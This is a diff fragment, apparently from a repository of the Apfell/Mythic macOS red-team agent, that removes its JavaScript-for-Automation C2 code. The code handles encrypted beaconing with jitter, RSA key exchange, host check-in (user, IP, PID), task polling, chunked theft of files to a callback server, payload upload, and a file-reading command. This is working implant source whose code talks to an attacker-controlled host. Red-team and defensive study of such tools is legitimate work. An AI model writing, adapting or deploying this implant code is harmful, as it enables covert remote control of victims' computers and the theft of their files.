req = this.create_message(this.get_random_element(this.post_messages), data, uid, method);
|
||||
}else{
|
||||
req = this.create_message(this.get_random_element(this.get_messages), data, uid, method);
|
||||
}
|
||||
}else{
|
||||
if(this.get_messages.length > 0){
|
||||
req = this.create_message(this.get_random_element(this.get_messages), data, uid, method);
|
||||
}else{
|
||||
req = this.create_message(this.get_random_element(this.post_messages), data, uid, method);
|
||||
}
|
||||
}
|
||||
//for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
|
||||
let response = Ref();
|
||||
let error = Ref();
|
||||
let responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error);
|
||||
responseData = this.retrieve_message(responseData, method);
|
||||
if( responseData.length < 36){
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
continue;
|
||||
}
|
||||
let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
|
||||
let uuid_range = $.NSMakeRange(0, 36);
|
||||
let message_range = $.NSMakeRange(36, resp.length - 36);
|
||||
let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
|
||||
//console.log("carving out rest of message");
|
||||
if(uuid !== apfell.uuid && uuid !== apfell.id && uuid !== uid){
|
||||
//console.log("id doesn't match: " + uuid);
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
continue;
|
||||
}
|
||||
resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
|
||||
//we're not doing the initial key exchange
|
||||
if(this.aes_psk !== ""){
|
||||
//if we do need to decrypt the response though, do that
|
||||
resp = ObjC.unwrap(this.decrypt_message(resp));
|
||||
return JSON.parse(resp);
|
||||
}else{
|
||||
//we don't need to decrypt it, so we can just parse and return it
|
||||
return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
//console.log("error in make_request: " + error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
download(task, params){
|
||||
let output = "";
|
||||
if( does_file_exist(params)){
|
||||
let offset = 0;
|
||||
let chunkSize = this.chunk_size; //3500;
|
||||
let full_path = params;
|
||||
try{
|
||||
let fm = $.NSFileManager.defaultManager;
|
||||
let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(params));
|
||||
full_path = "/" + pieces.slice(1).join("/");
|
||||
var handle = $.NSFileHandle.fileHandleForReadingAtPath(full_path);
|
||||
// Get the file size by seeking;
|
||||
var fileSize = handle.seekToEndOfFile;
|
||||
}catch(error){
|
||||
return {'status': 'error', 'user_output': error.toString(), "completed": true};
|
||||
}
|
||||
// always round up to account for chunks that are < chunksize;
|
||||
let numOfChunks = Math.ceil(fileSize / chunkSize);
|
||||
let registerData = {'total_chunks': numOfChunks, "full_path": full_path};
|
||||
let registerFile = this.postResponse(task, registerData);
|
||||
if (registerFile['responses'][0]['status'] === "success"){
|
||||
handle.seekToFileOffset(0);
|
||||
let currentChunk = 1;
|
||||
this.postResponse(task, {"user_output": JSON.stringify({
|
||||
"agent_file_id": registerFile["file_id"],
|
||||
"total_chunks": numOfChunks
|
||||
})});
|
||||
let data = handle.readDataOfLength(chunkSize);
|
||||
while(parseInt(data.length) > 0 && offset < fileSize){
|
||||
// send a chunk
|
||||
let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'file_id': registerFile['responses'][0]['file_id']};
|
||||
let response = this.postResponse(task, fileData);
|
||||
if(response['responses'][0]['status'] === 'success'){
|
||||
offset += parseInt(data.length);
|
||||
handle.seekToFileOffset(offset);
|
||||
currentChunk += 1;
|
||||
data = handle.readDataOfLength(chunkSize);
|
||||
}
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
}
|
||||
output = {"completed":true, "file_id": registerFile['responses'][0]['file_id']};
|
||||
}
|
||||
else{
|
||||
output = {'status': 'error', 'user_output': "Failed to register file to download", "completed": true};
|
||||
}
|
||||
}
|
||||
else{
|
||||
output = {'status': 'error', 'user_output': "file does not exist", "completed": true};
|
||||
}
|
||||
return output;
|
||||
}
|
||||
upload(task, file_id, full_path){
|
||||
try{
|
||||
let data = {"action": "upload", "file_id": file_id, "chunk_size": this.chunk_size, "chunk_num": 1, "full_path": full_path, "task_id": task.id};
|
||||
let chunk_num = 1;
|
||||
let total_chunks = 1;
|
||||
let total_data = $.NSMutableData.dataWithLength(0);
|
||||
do{
|
||||
let file_data = this.make_request("POST", apfell.id, data);
|
||||
if(file_data['chunk_num'] === 0){
|
||||
return {'status': 'error', 'user_output': "Error from the server", "completed": true};
|
||||
}
|
||||
chunk_num = file_data['chunk_num'];
|
||||
total_chunks = file_data['total_chunks'];
|
||||
total_data.appendData($.NSData.alloc.initWithBase64Encoding($(file_data['chunk_data'])));
|
||||
data = {"action": "upload", "file_id": file_id, "chunk_size": this.chunk_size, "chunk_num": chunk_num + 1, "task_id": task.id};
|
||||
}while(chunk_num < total_chunks);
|
||||
return total_data;
|
||||
}catch(error){
|
||||
return {'status': 'error', 'user_output': error.toString(), "completed": true};
|
||||
}
|
||||
}
|
||||
}
|
||||
//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
|
||||
ObjC.import('Security');
|
||||
C2 = new customC2();
|
||||
@@ -1,496 +0,0 @@
|
||||
//-------------RESTFUL C2 mechanisms ---------------------------------
|
||||
class customC2 extends baseC2{
|
||||
constructor(interval, cback_host, cback_port){
|
||||
if(cback_port === "443" && cback_host.includes("https://")){
|
||||
super(interval, cback_host);
|
||||
}else if(cback_port === "80" && cback_host.includes("http://")){
|
||||
super(interval, cback_host);
|
||||
}else{
|
||||
let last_slash = cback_host.indexOf("/", 8);
|
||||
if(last_slash === -1){
|
||||
//there is no 3rd slash
|
||||
super(interval, cback_host + ":" + cback_port);
|
||||
}else{
|
||||
//there is a 3rd slash, so we need to splice in the port
|
||||
super(interval,cback_host.substring(0, last_slash) + ":" + cback_port + "/" + cback_host.substring(last_slash))
|
||||
}
|
||||
}
|
||||
this.commands = [];
|
||||
this.url = this.baseurl;
|
||||
this.getURI = "get_uri";
|
||||
this.postURI = "post_uri";
|
||||
this.queryPathName = "query_path_name";
|
||||
this.proxyURL = "proxy_host";
|
||||
this.proxyPort = "proxy_port";
|
||||
this.proxyUser = "proxy_user";
|
||||
this.proxyPassword = "proxy_pass";
|
||||
this.proxy_dict = {};
|
||||
if(this.proxyURL !== ""){
|
||||
if(this.proxyURL.includes("https")) {
|
||||
this.proxy_dict["HTTPSEnable"] = 1;
|
||||
this.proxy_dict["HTTPSProxy"] = this.proxyURL;
|
||||
this.proxy_dict["HTTPSPort"] = parseInt(this.proxyPort);
|
||||
}else{
|
||||
this.proxy_dict["HTTPEnable"] = 1;
|
||||
this.proxy_dict["HTTPProxy"] = this.proxyURL;
|
||||
this.proxy_dict["HTTPPort"] = parseInt(this.proxyPort);
|
||||
}
|
||||
}
|
||||
if(this.proxyUser !== ""){
|
||||
this.proxy_dict["kCFProxyUsernameKey"] = this.proxyUser;
|
||||
}
|
||||
if(this.proxyPassword !== ""){
|
||||
this.proxy_dict["kCFProxyPasswordKey"] = this.proxyPassword;
|
||||
}
|
||||
this.jitter = callback_jitter;
|
||||
this.header_list = headers;
|
||||
this.aes_psk = "AESPSK"; // base64 encoded key
|
||||
if(this.aes_psk !== ""){
|
||||
this.parameters = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyType, $.kSecAttrKeyTypeAES);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeySizeInBits, $.kSecAES256);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyClass, $.kSecAttrKeyClassSymmetric);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecClass, $.kSecClassKey);
|
||||
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
|
||||
let err = Ref();
|
||||
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, err);
|
||||
}
|
||||
this.using_key_exchange = "encrypted_exchange_check" === "T";
|
||||
this.exchanging_keys = this.using_key_exchange;
|
||||
if("killdate" !== "yyyy-mm-dd" && "killdate" !== ""){
|
||||
this.dateFormatter = $.NSDateFormatter.alloc.init;
|
||||
this.dateFormatter.setDateFormat("yyyy-MM-dd");
|
||||
this.kill_date = this.dateFormatter.dateFromString('killdate');
|
||||
}else{
|
||||
this.kill_date = $.NSDate.distantFuture;
|
||||
}
|
||||
}
|
||||
get_random_int(max) {
|
||||
return Math.floor(Math.random() * Math.floor(max + 1));
|
||||
}
|
||||
gen_sleep_time(){
|
||||
//generate a time that's this.interval += (this.interval * 1/this.jitter)
|
||||
if(this.jitter < 1){return this.interval;}
|
||||
let plus_min = this.get_random_int(1);
|
||||
if(plus_min === 1){
|
||||
return this.interval + (this.interval * (this.get_random_int(this.jitter)/100));
|
||||
}else{
|
||||
return this.interval - (this.interval * (this.get_random_int(this.jitter)/100));
|
||||
}
|
||||
}
|
||||
encrypt_message(uid, data){
|
||||
// takes in the string we're about to send, encrypts it, and returns a new string
|
||||
let err = Ref();
|
||||
let encrypt = $.SecEncryptTransformCreate(this.cryptokey,err);
|
||||
let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
|
||||
b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
|
||||
|
||||
//generate a random IV to use
|
||||
let IV = $.NSMutableData.dataWithLength(16);
|
||||
$.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
|
||||
b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
|
||||
// set our data to be encrypted
|
||||
let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
|
||||
//$.CFShow(err[0]);
|
||||
let encryptedData = $.SecTransformExecute(encrypt, err);
|
||||
// now we need to prepend the IV to the encrypted data before we base64 encode and return it
|
||||
//generate the hmac
|
||||
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
|
||||
let hmac_input = $.NSMutableData.dataWithLength(0);
|
||||
hmac_input.appendData(IV);
|
||||
hmac_input.appendData(encryptedData);
|
||||
b=$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, hmac_input, err);
|
||||
b=$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
|
||||
let hmac_data = $.SecTransformExecute(hmac_transform, err);
|
||||
|
||||
let final_message = $.NSMutableData.dataWithLength(0);
|
||||
final_message.appendData( $(uid).dataUsingEncoding($.NSUTF8StringEncoding) );
|
||||
final_message.appendData(IV);
|
||||
final_message.appendData(encryptedData);
|
||||
final_message.appendData(hmac_data);
|
||||
return final_message.base64EncodedStringWithOptions(0);
|
||||
}
|
||||
decrypt_message(nsdata){
|
||||
//takes in a base64 encoded string to be decrypted and returned
|
||||
//console.log("called decrypt");
|
||||
let err = Ref();
|
||||
let decrypt = $.SecDecryptTransformCreate(this.cryptokey, err);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
|
||||
//console.log("making ranges");
|
||||
//need to extract out the first 16 bytes as the IV and the rest is the message to decrypt
|
||||
let iv_range = $.NSMakeRange(0, 16);
|
||||
let message_range = $.NSMakeRange(16, nsdata.length - 48); // 16 for IV 32 for hmac
|
||||
let hmac_range = $.NSMakeRange(nsdata.length - 32, 32);
|
||||
let hmac_data_range = $.NSMakeRange(0, nsdata.length - 32); // hmac includes IV + ciphertext
|
||||
//console.log("carving out iv");
|
||||
let iv = nsdata.subdataWithRange(iv_range);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
|
||||
let message = nsdata.subdataWithRange(message_range);
|
||||
$.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
|
||||
// create an hmac and verify it matches
|
||||
let message_hmac = nsdata.subdataWithRange(hmac_range);
|
||||
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
|
||||
$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, nsdata.subdataWithRange(hmac_data_range), err);
|
||||
$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
|
||||
let hmac_data = $.SecTransformExecute(hmac_transform, err);
|
||||
if(hmac_data.isEqualToData(message_hmac)){
|
||||
let decryptedData = $.SecTransformExecute(decrypt, Ref());
|
||||
//console.log("making a string from the message");
|
||||
let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
|
||||
//console.log(decrypted_message.js);
|
||||
return decrypted_message;
|
||||
}
|
||||
else{
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
negotiate_key(){
|
||||
// Generate a public/private key pair
|
||||
let parameters = $({"type": $("42"), "bsiz": 4096, "perm": false});
|
||||
let err = Ref();
|
||||
let privatekey = $.SecKeyCreateRandomKey(parameters, err);
|
||||
//console.log("generated new key");
|
||||
let publickey = $.SecKeyCopyPublicKey(privatekey);
|
||||
let exported_public = $.SecKeyCopyExternalRepresentation(publickey, err);
|
||||
//$.CFShow($.CFMakeCollectable(err[0]));
|
||||
try{
|
||||
//this is the catalina case
|
||||
let b64_exported_public = $.CFMakeCollectable(exported_public);
|
||||
b64_exported_public = b64_exported_public.base64EncodedStringWithOptions(0).js; // get a base64 encoded string version
|
||||
exported_public = b64_exported_public;
|
||||
}catch(error){
|
||||
//this is the mojave and high sierra case
|
||||
exported_public = exported_public.base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
let session_key = Array(20).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
|
||||
let initial_message = {"session_id": session_key, "pub_key": exported_public, "action": "staging_rsa"};
|
||||
// Encrypt our initial message with sessionID and Public key with the initial AES key
|
||||
while(true){
|
||||
try{
|
||||
let stage1 = this.htmlPostData(initial_message, apfell.uuid);
|
||||
let enc_key = $.NSData.alloc.initWithBase64Encoding(stage1['session_key']);
|
||||
let dec_key = $.SecKeyCreateDecryptedData(privatekey, $.kSecKeyAlgorithmRSAEncryptionOAEPSHA1, enc_key, err);
|
||||
// Adjust our global key information with the newly adjusted session key
|
||||
try{
|
||||
this.aes_psk = dec_key.base64EncodedStringWithOptions(0).js; // base64 encoded key
|
||||
}catch(error){
|
||||
let dec_key_collectable = $.CFMakeCollectable(dec_key);
|
||||
dec_key_collectable = dec_key_collectable.base64EncodedStringWithOptions(0).js;
|
||||
this.aes_psk = dec_key_collectable;
|
||||
}
|
||||
//console.log(JSON.stringify(json_response));
|
||||
this.parameters = $({"type": $.kSecAttrKeyTypeAES});
|
||||
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
|
||||
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
|
||||
this.exchanging_keys = false;
|
||||
return stage1['uuid'];
|
||||
}catch(error){
|
||||
console.log(error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
getConfig(){
|
||||
//A RESTful base config consists of the following:
|
||||
// BaseURL (includes Port), CallbackInterval, KillDate (not implemented yet)
|
||||
let config = {
|
||||
"C2": {
|
||||
"baseurl": this.baseurl,
|
||||
"interval": this.interval,
|
||||
"jitter": this.jitter,
|
||||
"commands": this.commands.join(", "),
|
||||
"api_version": this.api_version,
|
||||
"header_list": this.header_list,
|
||||
"aes_psk": this.aes_psk
|
||||
},
|
||||
"Host": {
|
||||
"user": apfell.user,
|
||||
"fullName": apfell.fullName,
|
||||
"ips": apfell.ip,
|
||||
"hosts": apfell.host,
|
||||
"environment": apfell.environment,
|
||||
"uptime": apfell.uptime,
|
||||
"args": apfell.args,
|
||||
"pid": apfell.pid,
|
||||
"apfell_id": apfell.id,
|
||||
"payload_id": apfell.uuid
|
||||
}};
|
||||
return JSON.stringify(config, null, 2);
|
||||
}
|
||||
checkin(ip, pid, user, host, os, arch, domain){
|
||||
//get info about system to check in initially
|
||||
//needs IP, PID, user, host, payload_type
|
||||
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os":os, "architecture": arch, "domain": domain, "action": "checkin"};
|
||||
info["process_name"] = apfell.procInfo.processName.js;
|
||||
info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
|
||||
if(user === "root"){
|
||||
info['integrity_level'] = 3;
|
||||
}
|
||||
//calls htmlPostData(url,data) to actually checkin
|
||||
//Encrypt our data
|
||||
//gets back a unique ID
|
||||
if(this.using_key_exchange){
|
||||
let sessionID = this.negotiate_key();
|
||||
//console.log("got session ID: " + sessionID);
|
||||
var jsondata = this.htmlPostData(info, sessionID);
|
||||
}else{
|
||||
var jsondata = this.htmlPostData(info, apfell.uuid);
|
||||
}
|
||||
apfell.id = jsondata.id;
|
||||
// if we fail to get a new ID number, then exit the application
|
||||
if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); }
|
||||
//console.log(apfell.id);
|
||||
return jsondata;
|
||||
}
|
||||
getTasking(){
|
||||
while(true){
|
||||
try{
|
||||
//let data = {"tasking_size":1, "action": "get_tasking"};
|
||||
//let task = this.htmlPostData(this.url, data, apfell.id);
|
||||
let task = this.htmlGetData();
|
||||
//console.log("tasking got back: " + JSON.stringify(task));
|
||||
return task['tasks'];
|
||||
}
|
||||
catch(error){
|
||||
//console.log(error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
postResponse(task, output){
|
||||
// this will get the task object and the response output
|
||||
return this.postRESTResponse(output, task.id);
|
||||
}
|
||||
postRESTResponse(data, tid){
|
||||
//depending on the amount of data we're sending, we might need to chunk it
|
||||
data["task_id"] = tid;
|
||||
let postData = {"action": "post_response", "responses": [data]};
|
||||
return this.htmlPostData(postData, apfell.id);
|
||||
}
|
||||
htmlPostData(sendData, uid, json=true){
|
||||
let url = this.baseurl;
|
||||
if(this.postURI !== ""){ url += "/" + this.postURI;}
|
||||
//console.log(url);
|
||||
//encrypt our information before sending it
|
||||
let data;
|
||||
if(this.aes_psk !== ""){
|
||||
data = this.encrypt_message(uid, JSON.stringify(sendData));
|
||||
}else if(typeof(sendData) === "string"){
|
||||
data = $(uid + sendData).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0);
|
||||
}else{
|
||||
data = $(uid + JSON.stringify(sendData)).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0);
|
||||
}
|
||||
while(true){
|
||||
try{ //for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
|
||||
//console.log("posting: " + sendData + " to " + urlEnding);
|
||||
if( $.NSDate.date.compare(this.kill_date) === $.NSOrderedDescending ){
|
||||
$.NSApplication.sharedApplication.terminate(this);
|
||||
}
|
||||
if( (apfell.id === undefined || apfell.id === "") && (uid === undefined || uid === "")){ $.NSApplication.sharedApplication.terminate(this);}
|
||||
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
|
||||
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
|
||||
let postData = data.dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true);
|
||||
let postLength = $.NSString.stringWithFormat("%d", postData.length);
|
||||
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
|
||||
for(let i = 0; i < this.header_list.length; i++){
|
||||
req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.header_list[i]["value"]), $.NSString.alloc.initWithUTF8String(this.header_list[i]["key"]));
|
||||
}
|
||||
req.setHTTPBody(postData);
|
||||
let response = Ref();
|
||||
let error = Ref();
|
||||
let session_config = $.NSURLSessionConfiguration.ephemeralSessionConfiguration;
|
||||
session_config.connectionProxyDictionary = $(this.proxy_dict);
|
||||
let session = $.NSURLSession.sessionWithConfiguration(session_config);
|
||||
let finished = false;
|
||||
let responseData;
|
||||
session.dataTaskWithRequestCompletionHandler(req, (data, resp) => {
|
||||
finished = true;
|
||||
responseData = data;
|
||||
}).resume;
|
||||
while(!finished){
|
||||
delay(0.1);
|
||||
}
|
||||
//responseData is base64(UUID + data)
|
||||
if( responseData.length < 36){
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
continue;
|
||||
}
|
||||
let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
|
||||
//let uuid_range = $.NSMakeRange(0, 36);
|
||||
let message_range = $.NSMakeRange(36, resp.length - 36);
|
||||
//let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
|
||||
resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
|
||||
//we're not doing the initial key exchange
|
||||
if(this.aes_psk !== ""){
|
||||
//if we do need to decrypt the response though, do that
|
||||
if(json){
|
||||
resp = ObjC.unwrap(this.decrypt_message(resp));
|
||||
return JSON.parse(resp);
|
||||
}else{
|
||||
return this.decrypt_message(resp);
|
||||
}
|
||||
}else{
|
||||
//we don't need to decrypt it, so we can just parse and return it
|
||||
if(json){
|
||||
return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
|
||||
}else{
|
||||
return $.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding).js;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
//console.log(error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
htmlGetData(){
|
||||
let data = {"tasking_size":1, "action": "get_tasking"};
|
||||
if(this.aes_psk !== ""){
|
||||
data = this.encrypt_message(apfell.id, JSON.stringify(data)).js;
|
||||
}else{
|
||||
data = $(apfell.id + JSON.stringify(data)).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
let NSCharacterSet = $.NSCharacterSet.characterSetWithCharactersInString("/+=\n").invertedSet;
|
||||
data = $(data).stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet).js;
|
||||
let url = this.baseurl;
|
||||
if(this.getURI !== ""){ url += "/" + this.getURI; }
|
||||
url += "?" + this.queryPathName + "=" + data;
|
||||
while(true){
|
||||
try{
|
||||
if( $.NSDate.date.compare(this.kill_date) === $.NSOrderedDescending ){
|
||||
$.NSApplication.sharedApplication.terminate(this);
|
||||
}
|
||||
if(apfell.id === undefined || apfell.id === ""){ $.NSApplication.sharedApplication.terminate(this);}
|
||||
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
|
||||
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("GET"));
|
||||
for(let i = 0; i < this.header_list.length; i++){
|
||||
req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.header_list[i]["value"]), $.NSString.alloc.initWithUTF8String(this.header_list[i]["key"]));
|
||||
}
|
||||
let response = Ref();
|
||||
let error = Ref();
|
||||
let session_config = $.NSURLSessionConfiguration.ephemeralSessionConfiguration;
|
||||
session_config.connectionProxyDictionary = $(this.proxy_dict);
|
||||
let session = $.NSURLSession.sessionWithConfiguration(session_config);
|
||||
let finished = false;
|
||||
let responseData;
|
||||
session.dataTaskWithRequestCompletionHandler(req, (data, resp) => {
|
||||
finished = true;
|
||||
responseData = data;
|
||||
}).resume;
|
||||
while(!finished){
|
||||
delay(0.1);
|
||||
}
|
||||
if(responseData.length < 36){
|
||||
//this means we likely got back some form of error or redirect message, not our actual data
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
continue;
|
||||
}
|
||||
let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
|
||||
//let uuid_range = $.NSMakeRange(0, 36);
|
||||
let message_range = $.NSMakeRange(36, resp.length - 36);
|
||||
//let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
|
||||
resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
|
||||
//we're not doing the initial key exchange
|
||||
if(this.aes_psk !== ""){
|
||||
//if we do need to decrypt the response though, do that
|
||||
resp = ObjC.unwrap(this.decrypt_message(resp));
|
||||
return JSON.parse(resp);
|
||||
}else{
|
||||
//we don't need to decrypt it, so we can just parse and return it
|
||||
return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
//console.log("error in htmlGetData: " + error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); //wait timeout seconds and try again
|
||||
}
|
||||
}
|
||||
}
|
||||
download(task, params){
|
||||
// download just has one parameter of the path of the file to download
|
||||
let output = "";
|
||||
if( does_file_exist(params) ){
|
||||
let offset = 0;
|
||||
let chunkSize = 512000; //3500;
|
||||
// get the full real path to the file
|
||||
let full_path = params;
|
||||
try{
|
||||
let fm = $.NSFileManager.defaultManager;
|
||||
let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(params));
|
||||
full_path = "/" + pieces.slice(1).join("/");
|
||||
var handle = $.NSFileHandle.fileHandleForReadingAtPath(full_path);
|
||||
if(handle.js === undefined){
|
||||
return {"status": "error", "user_output": "Access denied or path was to a folder", "completed": true};
|
||||
}
|
||||
// Get the file size by seeking;
|
||||
var fileSize = handle.seekToEndOfFile;
|
||||
}catch(error){
|
||||
return {'status': 'error', 'user_output': error.toString(), 'completed': true};
|
||||
}
|
||||
// always round up to account for chunks that are < chunksize;
|
||||
let numOfChunks = Math.ceil(fileSize / chunkSize);
|
||||
let registerData = {'total_chunks': numOfChunks, 'full_path': full_path};
|
||||
let registerFile = this.postResponse(task, registerData);
|
||||
registerFile = registerFile['responses'][0];
|
||||
if (registerFile['status'] === "success"){
|
||||
this.postResponse(task, {"user_output": JSON.stringify({
|
||||
"agent_file_id": registerFile["file_id"],
|
||||
"total_chunks": numOfChunks
|
||||
})});
|
||||
handle.seekToFileOffset(0);
|
||||
let currentChunk = 1;
|
||||
let data = handle.readDataOfLength(chunkSize);
|
||||
while(parseInt(data.length) > 0 && offset < fileSize){
|
||||
// send a chunk
|
||||
let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js,'file_id': registerFile['file_id']};
|
||||
this.postResponse(task, fileData);
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
// increment the offset and seek to the amount of data read from the file
|
||||
offset += parseInt(data.length);
|
||||
handle.seekToFileOffset(offset);
|
||||
currentChunk += 1;
|
||||
data = handle.readDataOfLength(chunkSize);
|
||||
}
|
||||
output = {"completed":true, "file_id": registerFile['file_id']};
|
||||
}
|
||||
else{
|
||||
output = {'status': 'error', 'user_output': "Failed to register file to download", 'completed': true};
|
||||
}
|
||||
}
|
||||
else{
|
||||
output = {'status': 'error', 'user_output': "file does not exist", 'completed': true};
|
||||
}
|
||||
return output;
|
||||
}
|
||||
upload(task, file_id, full_path){
|
||||
try{
|
||||
let data = {"action": "upload", "file_id": file_id, "chunk_size": 512000, "chunk_num": 1, "full_path": full_path, "task_id": task.id};
|
||||
let chunk_num = 1;
|
||||
let total_chunks = 1;
|
||||
let total_data = $.NSMutableData.dataWithLength(0);
|
||||
do{
|
||||
let file_data = this.htmlPostData(data, apfell.id);
|
||||
if(file_data['chunk_num'] === 0){
|
||||
return "error from server";
|
||||
}
|
||||
chunk_num = file_data['chunk_num'];
|
||||
total_chunks = file_data['total_chunks'];
|
||||
total_data.appendData($.NSData.alloc.initWithBase64Encoding($(file_data['chunk_data'])));
|
||||
data = {"action": "upload", "file_id": file_id, "chunk_size": 512000, "chunk_num": chunk_num + 1, "task_id": task.id};
|
||||
}while(chunk_num < total_chunks);
|
||||
return total_data;
|
||||
}catch(error){
|
||||
return error.toString();
|
||||
}
|
||||
}
|
||||
}
|
||||
//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
|
||||
ObjC.import('Security');
|
||||
var C2 = new customC2(callback_interval, "callback_host", "callback_port");
|
||||
@@ -1,23 +0,0 @@
|
||||
exports.cat = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty('path')){return {"user_output": "Missing path parameter", "completed": true, "status": "error"}}
|
||||
let contents = $.NSString.stringWithContentsOfFileEncodingError($(command_params['path']), $.NSUTF8StringEncoding, $()).js;
|
||||
if(contents === ""){
|
||||
return {"user_output": "No output from command", "completed": true};
|
||||
}
|
||||
else if(contents === true){
|
||||
return {"user_output": "True", "completed": true};
|
||||
}
